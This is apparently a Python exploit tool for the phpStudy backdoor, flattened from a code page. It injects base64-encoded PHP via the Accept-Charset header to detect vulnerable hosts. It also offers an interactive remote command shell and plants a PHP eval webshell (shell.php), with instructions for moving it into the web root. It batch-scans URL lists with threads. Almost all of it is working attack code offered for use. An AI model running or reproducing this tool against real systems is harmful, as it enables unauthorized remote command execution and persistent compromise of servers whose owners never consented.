1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209
|
import requests import queue import base64 import optparse import threading import datetime
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Encoding': 'gzip,deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', }
lock = threading.Lock()
q0 = queue.Queue() threadList = [] global succ succ = 0
def checkPhpstudyBackdoor(tgtUrl,timeout):
headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw=='
rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout) rsp.encoding='utf-8'
if "Wri7eTh3W0rld" in rsp.text: return True else: return False
def checkPhpstudyBackdoorBatch(timeout, doorSuccess):
headers['Accept-Charset'] = 'ZXhpdCgnV3JpN2VUaDNXMHJsZCcpOw==' global countLines while (not q0.empty()):
tgtUrl = q0.get() qcount = q0.qsize() print ('Checking: ' + tgtUrl + ' ---[' + str(countLines - qcount) + '/' + str(countLines) + ']')
try: rst = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False) except requests.exceptions.Timeout: continue except requests.exceptions.ConnectionError: continue except: continue
if rst.status_code == 200 and ("Wri7eTh3W0rld" in rst.text): print ('Target is vulnerable!!!---' + tgtUrl + '\n') lock.acquire() doorSuccess.write('Target is vulnerable!!!---' + tgtUrl + '\n') lock.release() global succ succ = succ + 1
else: continue
def getCmdShellPhpstudyBackdoor(tgtUrl,timeout):
while True: command = input("cmd>>> ") if command == 'exit': break
command = "system(\"" + command + "\");" command.encode('utf-8') command = base64.b64encode(command.encode('utf-8')) headers['Accept-Charset'] = command cmdResult = requests.get(tgtUrl, headers=headers, verify=False,timeout=7) cmdResult.encoding='gbk'
if cmdResult.text.split('<!')[0] == '': print('Command Error!') else: print (cmdResult.text.split('<!')[0])
def phpstudyBackdoorGetshell(tgtUrl,timeout):
b64exp = "system(' ECHO ^<?php @eval($_REQUEST[cmd]); ?^> >> ./shell.php');" b64exp = base64.b64encode(b64exp.encode('utf-8')) headers['Accept-Charset'] = b64exp
rsp = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout)
if rsp.status_code == 200: backDoorUrl = tgtUrl + '/shell.php' rsp1 = requests.get(backDoorUrl,verify=False,timeout=timeout) b64poc = "system('dir');" b64poc = base64.b64encode(b64poc.encode('utf-8')) headers['Accept-Charset'] = b64poc
rsp2 = requests.get(tgtUrl,headers=headers,verify=False,timeout=timeout) rsp2.encoding='gbk' if "shell.php" in rsp2.text: print ('shell.php 创建成功!\n\n请使用 --cmd 查看文件路径并将后门文件迁移至 WWW 目录下\n') print ('命令如下:\nchdir # 查看目录路径\ncopy shell.php xxxx/WWW # 迁移文件') else: print ('shell.php 创建失败!') else: print ('Request Error!')
if __name__ == '__main__': print (''' _ ____ _ _ ____ _ ____ ____ ____ _____ _ __ | |__ _ __/ ___|| |_ _ _ __| |_ _ | __ ) __ _ ___| | _| _ \ ___ ___ _ __ | _ \ / ___| ____| | '_ \| '_ \| '_ \___ \| __| | | |/ _` | | | | | _ \ / _` |/ __| |/ / | | |/ _ \ / _ \| '__| | |_) | | | _| | |_) | | | | |_) |__) | |_| |_| | (_| | |_| | | |_) | (_| | (__| <| |_| | (_) | (_) | | | _ <| |___| |___ | .__/|_| |_| .__/____/ \__|\__,_|\__,_|\__, | |____/ \__,_|\___|_|\_\____/ \___/ \___/|_| |_| \_\\____|_____| |_| |_| |___/ by yongz ''') parser = optparse.OptionParser('python %prog ' + '-h (manual)', version='%prog v1.0')
parser.add_option('-u', dest='tgtUrl', type='string', help='single url') parser.add_option('-f', dest='tgtUrlsPath', type='string', help='urls filepath[exploit default]') parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)') parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
parser.add_option('--get', dest='getshell',action='store_true', help='get webshell') parser.add_option('--cmd', dest='cmdshell',action='store_true', help='cmd shell mode')
(options, args) = parser.parse_args()
timeout = options.timeout tgtUrl = options.tgtUrl getshell = options.getshell cmdshell = options.cmdshell
if tgtUrl and (cmdshell is None) and (getshell is None): if(checkPhpstudyBackdoor(tgtUrl,timeout)): print ('Target is vulnerable!!!' + '\n') else: print ('Target is not vulnerable.' + '\n') if tgtUrl and cmdshell and (getshell is None): if (checkPhpstudyBackdoor(tgtUrl,timeout)): print ('Target is vulnerable!!! Entering cmdshell...' + '\n') getCmdShellPhpstudyBackdoor(tgtUrl,timeout) else: print ('Target is not vulnerable.' + '\n') pass if tgtUrl and (cmdshell is None) and getshell: phpstudyBackdoorGetshell(tgtUrl,timeout)
if options.tgtUrlsPath: tgtFilePath = options.tgtUrlsPath threads = options.threads nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
doorSuccess = open(str(nowtime) + '_' + 'success.txt', 'w') urlsFile = open(tgtFilePath) global countLines countLines = len(open(tgtFilePath, 'r').readlines())
print ('===Total ' + str(countLines) + ' urls===')
for urls in urlsFile: fullUrls = urls.strip() q0.put(fullUrls) for thread in range(threads): t = threading.Thread(target=checkPhpstudyBackdoorBatch, args=(timeout, doorSuccess)) t.start() threadList.append(t) for th in threadList: th.join()
print ('===Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']===') print ('Results were saved in current path: ' + str(nowtime) + '_success.txt') doorSuccess.close()
|